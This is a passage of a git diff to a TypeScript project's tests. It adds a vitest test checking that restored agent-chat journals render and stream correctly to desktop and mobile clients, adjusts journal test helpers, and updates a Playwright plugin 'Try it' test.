clock.at + 1 + }, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ] + }) + if (settle !== undefined) { + journal.stopMarks.settled(settle) + await journal.appendQueueResume(FENCE) + } + const removed = { provider: 'orca', clientMessageId: 'removed-note' } as const + await journal.appendItem(removed, { kind: 'status', text: 'removed' }, scope) + await journal.appendTombstone(removed, { fence: FENCE }) +} + +/** Writes a whole chat with the release at `ref`; returns the chat and queue as it closed them. */ +export async function writeReleasedChat( + ref: string, + agent: Agent, + stateDirectory: string +): Promise<{ snapshot: AgentJournalSnapshot; cards: unknown[]; now: () => number }> { + const release = await released(ref) + const clock = { at: 1_000 } + const journals = release.opener() + try { + const journal = await journals.open({ + identity: identityOf(agent), + stateDirectory, + now: () => clock.at + }) + if (agent === 'codex') { + // An imported conversation's epoch carries its history origin. + await journal.replaceEpochItems('legacy_import', FENCE, []) + } + await sendsAndQueue(journal, release) + await stream(release, agent, journal, clock) + await stopAndRemove(journal, release, clock) + return { + snapshot: journal.snapshot(), + cards: [...journal.queuedMessages.list()], + now: () => clock.at + } + } finally { + await journals.closeAll() + } +} + +/** The release's own journal opener, to carry a chat on as that release would. */ +export async function releasedJournalOpener(ref: string): Promise { + return (await released(ref)).opener() +} diff --git a/tests/e2e/cross-version-wire/structured-agent-session-host-fixture.ts b/tests/e2e/cross-version-wire/structured-agent-session-host-fixture.ts index eef82ab2ff3..5b815860391 100644 --- a/tests/e2e/cross-version-wire/structured-agent-session-host-fixture.ts +++ b/tests/e2e/cross-version-wire/structured-agent-session-host-fixture.ts @@ -124,6 +124,7 @@ export function installableHost( ): StructuredAgentSessionHost { const host = { ...hostCalls, + readModelCatalog: hostCalls.modelCatalog, // The catalog read checks the session's record for a floating chat's own folder; none here. deps: { modelCatalog: { read: hostCalls.modelCatalog, demand: vi.fn(async () => {}) }, diff --git a/tests/e2e/journal-restored-consumers.unit.test.ts b/tests/e2e/journal-restored-consumers.unit.test.ts new file mode 100644 index 00000000000..6bdaf23f969 --- /dev/null +++ b/tests/e2e/journal-restored-consumers.unit.test.ts @@ -0,0 +1,482 @@ +// @vitest-environment happy-dom + +import '../../src/main/runtime/rpc/unused-default-rpc-methods.test-fixture' +import '@testing-library/jest-dom/vitest' +import { createElement } from 'react' +import { cleanup, screen } from '@testing-library/react' +import { afterAll, afterEach, beforeAll, expect, it, vi } from 'vitest' +import { + AGENT_JOURNAL_THREAD_SCOPE, + AGENT_SESSION_JOURNAL_SCHEMA_VERSION, + type AgentJournalCursor, + type AgentJournalMessageItem +} from '../../src/shared/agent-session-journal-types' +import { AGENT_SESSION_CURRENT_REQUESTS_CLIENT_CAPABILITY } from '../../src/shared/agent-session-current-requests-capability' +import { + AGENT_SESSION_HISTORY_MAX_LIMIT, + type AgentSessionHistoryRequest, + type AgentSessionHistoryResult, + type AgentSessionSubscribeEvent +} from '../../src/shared/agent-session-wire' +import { MOBILE_BRIDGE_MAX_FRAME_BYTES } from '../../src/shared/mobile-bridge-frame-bytes' +import { + AGENT_SESSION_SNAPSHOT_CATCH_UP_CLIENT_CAPABILITY, + AGENT_SESSION_TURN_ITEM_CAPABILITY +} from '../../src/shared/protocol-version' +import type { RuntimeRpcResponse } from '../../src/shared/runtime-rpc-envelope' +import { withNativeChatCutTurnNotices } from '../../src/shared/native-chat/transcript/native-chat-cut-turn-notice' +import { nativeChatRowsInDrawOrder } from '../../src/shared/native-chat/transcript/native-chat-turn-grouping' +import { nativeChatTurnMembership } from '../../src/shared/native-chat-turn-membership' +import { projectStructuredAgentSessionMessages } from '../../src/shared/structured-agent-session-message-projection' +import { + EMPTY_STRUCTURED_AGENT_SESSION, + oldestStructuredAgentSessionCursor, + reduceStructuredAgentSession, + type StructuredAgentSessionState +} from '../../src/shared/structured-agent-session-reducer' +import { selectStructuredAgentSettledTurns } from '../../src/shared/structured-agent-session-turn-timing' +import { openTestJournalHostDatabase } from '../../src/main/native-chat/agent-session-journal/journal-host-database-test-support' +import { restoreJournal } from '../../src/main/native-chat/agent-session-journal/journal-open' +import { journalOutcomeSource } from '../../src/main/native-chat/agent-session-journal/journal-outcome-format' +import { prepareJournalOutcomeWrite } from '../../src/main/native-chat/agent-session-journal/journal-outcome-write' +import type { JournalRow } from '../../src/main/native-chat/agent-session-journal/journal-row-schema' +import { hostTestAttachParams } from '../../src/main/native-chat/agent-session-wire/structured-agent-session-host-test-data' +import { seedQueuedRigLegacyJournal } from '../../src/main/native-chat/agent-session-wire/structured-agent-session-queued-legacy-journal.test-fixture' +import { + createRestTestRig, + REST_TEST_CALLER, + REST_TEST_SESSION as SESSION, + type RestTestRig +} from '../../src/main/native-chat/agent-session-wire/structured-agent-session-rest-test-rig' +import { setStructuredAgentSessionHost } from '../../src/main/native-chat/agent-session-wire/structured-agent-session-registry' +import { OrcaRuntimeService } from '../../src/main/runtime/orca-runtime' +import { RpcDispatcher } from '../../src/main/runtime/rpc/dispatcher' +import { STRUCTURED_AGENT_SESSION_METHODS } from '../../src/main/runtime/rpc/methods/structured-agent-session' +import { + STRUCTURED_CLIENT, + STRUCTURED_MOBILE_CLIENT +} from '../../src/main/runtime/rpc/methods/structured-agent-session-rpc-client.test-fixture' +import { MAX_TIMER_DELAY_MS } from '../../src/shared/timer-delay' +import { + buildMobileNativeChatTransientData, + foldMobileNativeChatMessages +} from '../../mobile/src/session/mobile-native-chat-render-data' +import { NativeChatMessageList } from '../../src/renderer/src/components/native-chat/NativeChatMessageList' +import { render } from '../../src/renderer/src/components/native-chat/native-chat-tooltip-test-harness' +import { installNativeChatMessageListTestViewport } from '../../src/renderer/src/components/native-chat/native-chat-message-list-test-viewport' + +vi.mock('../../src/renderer/src/components/native-chat/NativeChatInlineVisual', () => ({ + NativeChatInlineVisual: () => { + throw new Error('Unexpected inline visual') + } +})) +vi.mock('@/lib/open-agent-message-sender', () => ({ + openAgentMessageSender: () => { + throw new Error('Unexpected sender navigation') + } +})) + +const PROMPT = 'Keep the original question after restart' +const STALE = 'Saved answer before revision' +const ANSWER = 'Completed answer after restore' +const REMOVED = 'Disposable status before restart' +const OLDER = 'The earlier question' +const OLDER_ANSWER = 'The earlier completed answer' +const PUBLISHED = 'Published after restore' +const currentDesktop = { + ...STRUCTURED_CLIENT, + clientCapabilities: [ + ...STRUCTURED_CLIENT.clientCapabilities, + AGENT_SESSION_SNAPSHOT_CATCH_UP_CLIENT_CAPABILITY, + AGENT_SESSION_CURRENT_REQUESTS_CLIENT_CAPABILITY, + AGENT_SESSION_TURN_ITEM_CAPABILITY + ] +} +const clients = [ + ['bounded phone', STRUCTURED_MOBILE_CLIENT, true, true], + ['current paired desktop', currentDesktop, false, true], + ['legacy paired desktop', STRUCTURED_CLIENT, false, false] +] as const +// A new chat holds only records; an existing (mixed) chat holds old input rows up to the restart +// and records after its marker, so catch-up from a cursor inside the old rows crosses into records. +const cases = (['new', 'mixed'] as const).flatMap((kind) => + clients.map( + ([name, client, bounded, snapshotCatchUp]) => + [kind, name, client, bounded, snapshotCatchUp] as const + ) +) +const message = ( + text: string, + role: 'user' | 'assistant' = 'assistant' +): AgentJournalMessageItem => ({ + kind: 'message', + role, + blocks: [{ type: 'text', text }] +}) +let rig: RestTestRig | undefined +let controllers: AbortController[] = [] +let restoreViewport = () => {} +beforeAll(() => { + restoreViewport = installNativeChatMessageListTestViewport() +}) +afterAll(() => restoreViewport()) +afterEach(async () => { + cleanup() + for (const controller of controllers) { + controller.abort() + } + controllers = [] + setStructuredAgentSessionHost(null) + await rig?.dispose() + rig = undefined + vi.restoreAllMocks() +}) + +function desktop(state: StructuredAgentSessionState): void { + render( + createElement(NativeChatMessageList, { + session: { + messages: projectStructuredAgentSessionMessages(state.items, [], state.submissions), + status: 'ready', + sessionId: SESSION, + agent: 'codex', + hasMore: state.hasOlder, + loadingEarlier: false, + olderHistoryGeneration: 1, + loadEarlier: vi.fn(), + readPhase: 'ready' + }, + journalItems: state.items, + journalSubmissions: state.submissions, + settledTurns: selectStructuredAgentSettledTurns(state.items, state.submissions), + isWorking: false, + workingStartedAt: null, + expandSignal: false + }) + ) + const ordered = [OLDER, OLDER_ANSWER, PROMPT, ANSWER, PUBLISHED].map((text) => { + expect(screen.getAllByText(text)).toHaveLength(1) + return screen.getByText(text) + }) + expect(screen.queryByText(STALE)).toBeNull() + expect(screen.queryByText(REMOVED)).toBeNull() + let previous: HTMLElement | undefined + for (const row of ordered) { + if (previous) { + expect(previous.compareDocumentPosition(row) & Node.DOCUMENT_POSITION_FOLLOWING).not.toBe(0) + } + previous = row + } + cleanup() +} + +function phone(state: StructuredAgentSessionState): void { + const items = withNativeChatCutTurnNotices(state.items, { agentName: 'Codex' }) + const messages = projectStructuredAgentSessionMessages(items, [], state.submissions) + const folded = foldMobileNativeChatMessages(messages, 'codex') + const { data } = buildMobileNativeChatTransientData({ folded, streaming: null, pending: [] }) + const membership = nativeChatTurnMembership(data, { items, submissions: state.submissions }) + const rows = nativeChatRowsInDrawOrder(data, membership.drawOrder) + const displayed = rows.flatMap((row) => + row.blocks.flatMap((block) => + block.type === 'text' ? [{ role: row.role, text: block.text }] : [] + ) + ) + const expected = [ + { role: 'user', text: OLDER }, + { role: 'assistant', text: OLDER_ANSWER }, + { role: 'user', text: PROMPT }, + { role: 'assistant', text: ANSWER }, + { role: 'assistant', text: PUBLISHED } + ] + expect(displayed.filter((row) => expected.some((target) => target.text === row.text))).toEqual( + expected + ) + expect(displayed.some((row) => row.text === STALE || row.text === REMOVED)).toBe(false) +} + +it.each(cases)( + 'draws a restored %s chat, prefix and tail, through %s history and subscriber delivery', + async (kind, _name, client, bounded, snapshotCatchUp) => { + const active = await createRestTestRig({ idleSweep: { intervalMs: MAX_TIMER_DELAY_MS } }) + rig = active + setStructuredAgentSessionHost(active.host) + const pinInputs = kind === 'mixed' ? seedQueuedRigLegacyJournal(active.root, SESSION) : null + const attached = await active.host.attach(REST_TEST_CALLER, hostTestAttachParams(null)) + if (!attached.ok) { + throw new Error('Fixture attach refused') + } + pinInputs?.(active.host) + const journal = active.host.collaboratorsForTests().sessions.get(SESSION)?.journal + if (!journal) { + throw new Error('Fixture journal absent') + } + const options = { fence: attached.fence, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + const dispatcher = new RpcDispatcher({ + runtime: new OrcaRuntimeService(), + methods: STRUCTURED_AGENT_SESSION_METHODS + }) + let requestId = 0 + async function history(request: Omit) { + const frame: RuntimeRpcResponse = JSON.parse( + JSON.stringify( + await dispatcher.dispatch( + { + id: `history-${++requestId}`, + authToken: 'token', + method: 'agentSession.history', + params: { sessionId: SESSION, ...request } + }, + client + ) + ) + ) + if (!frame.ok) { + throw new Error(`History RPC failed: ${frame.error.code}`) + } + if (!frame.result.ok) { + throw new Error(`History reset: ${frame.result.reset}`) + } + return frame.result.page + } + const append = journal.appendItem.bind(journal) + async function completedTurn(id: string, prompt: string, answer: string) { + const user = await append( + { provider: 'orca', clientMessageId: `${id}-user` }, + message(prompt, 'user'), + options + ) + const turn = await append( + { provider: 'orca', clientMessageId: `${id}-turn` }, + { + kind: 'turn', + turnId: id, + userItemId: user.itemId, + state: 'completed', + outcome: 'success', + startedAt: active.clock.now - 2_000, + completedAt: active.clock.now - 1_000 + }, + options + ) + const turnScope = { kind: 'turn', turnItemId: turn.itemId } as const + const response = await append( + { provider: 'orca', clientMessageId: `${id}-answer` }, + message(answer), + { ...options, turnScope } + ) + return { response, turnScope } + } + await completedTurn('older', OLDER, OLDER_ANSWER) + for (let index = 0; index < AGENT_SESSION_HISTORY_MAX_LIMIT; index += 1) { + await journal.appendItem( + { provider: 'orca', clientMessageId: `context-${index}` }, + message(`Context ${index}`), + options + ) + } + // The mixed reader resumes from here, inside the old rows. + const crossing = kind === 'mixed' ? await history({ direction: 'tail' }) : null + const { response, turnScope } = await completedTurn('current', PROMPT, STALE) + const disposable = await journal.appendItem( + { provider: 'orca', clientMessageId: 'disposable' }, + { kind: 'status', text: REMOVED }, + options + ) + const prefixPage = await history({ direction: 'tail' }) + expect(prefixPage.hasOlder).toBe(true) + expect(JSON.stringify(prefixPage.items)).toContain(STALE) + expect(JSON.stringify(prefixPage.items)).toContain(REMOVED) + expect(JSON.stringify(prefixPage.items)).not.toContain(OLDER) + const resumeFrom = crossing ?? prefixPage + const resumeCursor = resumeFrom.liveCursor + if (!resumeCursor) { + throw new Error('Missing pre-close history cursor') + } + await active.host.close(SESSION, 'evict') + expect(active.host.hasSession(SESSION)).toBe(false) + const database = openTestJournalHostDatabase(active.root) + const saved = restoreJournal(database.db, SESSION)?.state + if (!saved) { + throw new Error('Missing usable projection before tail append') + } + const prefix = { epoch: saved.epoch, sequence: saved.lastSequence } + expect(prefix.sequence).toBeGreaterThanOrEqual(resumeCursor.sequence) + database.transaction( + (db) => { + const rows: JournalRow[] = [] + for (let offset = 1; offset <= AGENT_SESSION_HISTORY_MAX_LIMIT; offset += 1) { + rows.push({ + v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, + epoch: prefix.epoch, + seq: prefix.sequence + offset, + fence: attached.fence, + ts: active.clock.now + offset, + kind: 'item', + itemId: response.itemId, + revision: response.revision + offset, + body: message( + offset === AGENT_SESSION_HISTORY_MAX_LIMIT ? ANSWER : `Answer revision ${offset}` + ), + turnScope + }) + } + rows.push({ + v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, + epoch: prefix.epoch, + seq: prefix.sequence + AGENT_SESSION_HISTORY_MAX_LIMIT + 1, + fence: attached.fence, + ts: active.clock.now + AGENT_SESSION_HISTORY_MAX_LIMIT + 1, + kind: 'tombstone', + itemId: disposable.itemId, + revision: disposable.revision + 1 + }) + return prepareJournalOutcomeWrite(db, saved, rows, active.clock.now) + }, + false, + (result) => { + result.adopt() + } + ) + // Anti-vacuous: the mixed chat's rows end at the restart and its records follow the marker. + expect(journalOutcomeSource(database.db, SESSION, prefix.epoch)?.prefix).toBe( + kind === 'mixed' ? prefix.sequence : 0 + ) + const restoredPage = await history({ direction: 'tail' }) + expect(restoredPage.liveCursor?.sequence).toBeGreaterThan(prefix.sequence) + expect(active.adapter.acquire).toHaveBeenCalledTimes(1) + const subscribe = vi.spyOn(active.host, 'subscribe') + async function stream(cursor?: AgentJournalCursor) { + const events: AgentSessionSubscribeEvent[] = [] + const rawFrames: string[] = [] + const controller = new AbortController() + controllers.push(controller) + await dispatcher.dispatchStreaming( + { + id: `stream-${++requestId}`, + authToken: 'token', + method: 'agentSession.subscribe', + params: { sessionId: SESSION, ...(cursor ? { cursor } : {}) } + }, + (raw) => { + const frame: RuntimeRpcResponse = JSON.parse(raw) + if (!frame.ok) { + throw new Error(`Subscription RPC failed: ${frame.error.code}`) + } + rawFrames.push(raw) + events.push(frame.result) + }, + { + ...client, + clientId: 'client-1', + connectionId: 'restored-reader', + signal: controller.signal + } + ) + expect(subscribe).toHaveBeenLastCalledWith(expect.objectContaining({ snapshotCatchUp })) + expect(subscribe.mock.calls.at(-1)?.[0].boundedFrames === true).toBe(bounded) + return { events, rawFrames } + } + const hydrated = await stream() + expect(hydrated.events[0]?.type).toBe('snapshot') + const resumed = await stream(resumeCursor) + if (snapshotCatchUp) { + expect(resumed.events.some((event) => event.type === 'snapshot')).toBe(true) + } else if (kind === 'mixed') { + expect(resumed.events.every((event) => event.type === 'batch')).toBe(true) + // Old rows after the cursor, then records after the marker. + const batches = resumed.events.flatMap((event) => + event.type === 'batch' ? [event.batch] : [] + ) + expect(batches.some((batch) => JSON.stringify(batch.items).includes(PROMPT))).toBe(true) + expect(batches.some((batch) => batch.removedItemIds.includes(disposable.itemId))).toBe(true) + } else { + expect(resumed.events.every((event) => event.type === 'batch')).toBe(true) + expect( + resumed.events.filter( + (event) => + event.type === 'batch' && + (event.batch.items.length > 0 || event.batch.removedItemIds.length > 0) + ) + ).toHaveLength(2) + expect(resumed.events.some((event) => event.type === 'batch' && event.hasNewer)).toBe(true) + expect( + resumed.events.some( + (event) => + event.type === 'batch' && event.batch.removedItemIds.includes(disposable.itemId) + ) + ).toBe(true) + } + const restored = active.host.collaboratorsForTests().sessions.get(SESSION)?.journal + if (!restored) { + throw new Error('History failed to reopen journal') + } + const priorHydrated = hydrated.events.length + const priorResumed = resumed.events.length + const published = await restored.appendItem( + { provider: 'orca', clientMessageId: 'published' }, + message(PUBLISHED), + options + ) + await vi.waitFor(() => { + for (const [reader, from] of [ + [hydrated, priorHydrated], + [resumed, priorResumed] + ] as const) { + expect( + reader.events + .slice(from) + .some( + (event) => + event.type === 'batch' && + event.batch.items.some((item) => item.itemId === published.itemId) + ) + ).toBe(true) + } + }) + for (const [reader, initial] of [ + [hydrated, EMPTY_STRUCTURED_AGENT_SESSION], + [ + resumed, + reduceStructuredAgentSession( + EMPTY_STRUCTURED_AGENT_SESSION, + { type: 'history-page', page: resumeFrom }, + 1_000 + ) + ] + ] as const) { + let state = reader.events.reduce( + (state, event) => reduceStructuredAgentSession(state, { type: 'event', event }, 1_000), + initial + ) + expect(state.status).toBe('ready') + expect(state.hasOlder).toBe(true) + expect(JSON.stringify(state.items)).not.toContain(OLDER) + expect(JSON.stringify(state.items)).not.toContain(OLDER_ANSWER) + const cursor = oldestStructuredAgentSessionCursor(state) + if (!cursor) { + throw new Error('Missing older-history cursor') + } + const before = await history({ + direction: 'before', + cursor, + limit: AGENT_SESSION_HISTORY_MAX_LIMIT + }) + expect(JSON.stringify(before.items)).toContain(OLDER) + expect(JSON.stringify(before.items)).toContain(OLDER_ANSWER) + state = reduceStructuredAgentSession( + state, + { type: 'older-page', requestedCursor: cursor, page: before }, + 1_000 + ) + if (bounded) { + for (const frame of reader.rawFrames) { + expect(Buffer.byteLength(frame)).toBeLessThanOrEqual(MOBILE_BRIDGE_MAX_FRAME_BYTES) + } + phone(state) + } else { + desktop(state) + } + } + } +) diff --git a/tests/e2e/plugin-try-it.spec.ts b/tests/e2e/plugin-try-it.spec.ts index 668c7ca671e..aaa38135f98 100644 --- a/tests/e2e/plugin-try-it.spec.ts +++ b/tests/e2e/plugin-try-it.spec.ts @@ -1,6 +1,7 @@ /** * Invariant: the Try it on a plugin's install toast does the thing itself instead of opening - * the plugin's page — a grammar opens a highlighted sample, an editor a new file of its own. + * the plugin's page — a grammar opens a blank file it highlights as you type, an editor a new + * file of its own. */ import { mkdtemp, readFile, rm } from 'node:fs/promises' @@ -38,7 +39,7 @@ async function tryFromToast(page: Page, name: string): Promise { } // oxlint-disable-next-line no-empty-pattern -- Playwright passes fixtures before testInfo. -test('Try it opens a highlighted sample and a new drawing', async ({}, testInfo) => { +test('Try it opens a blank highlighted file and a new drawing', async ({}, testInfo) => { // Why: one Electron launch, a Git catalog fetch and two installs; slower than the 30s default. test.setTimeout(180_000) const root = await mkdtemp(join(tmpdir(), 'orca-plugin-try-it-e2e-')) @@ -68,7 +69,11 @@ test('Try it opens a highlighted sample and a new drawing', async ({}, testInfo) await page.getByRole('article').getByRole('button', { name: 'Install Gleam' }).click() await tryFromToast(page, 'Gleam') await expect(page.locator('[data-tab-id]').filter({ hasText: 'untitled.gleam' })).toBeVisible() - // The plugin grammar paints the sample in more than one token class. + // Blank until the user types; nothing but the empty placeholder reaches disk. + expect(await readFile(join(fixture.workspace, 'untitled.gleam'), 'utf8')).toBe('') + await page.locator('.monaco-editor:visible .view-lines').first().click() + await page.keyboard.type('pub fn main() { 1 }') + // The plugin grammar paints what was typed in more than one token class. await expect .poll(async () => (await editorTokenClasses(page, 'pub fn main')).length, { timeout: 15_000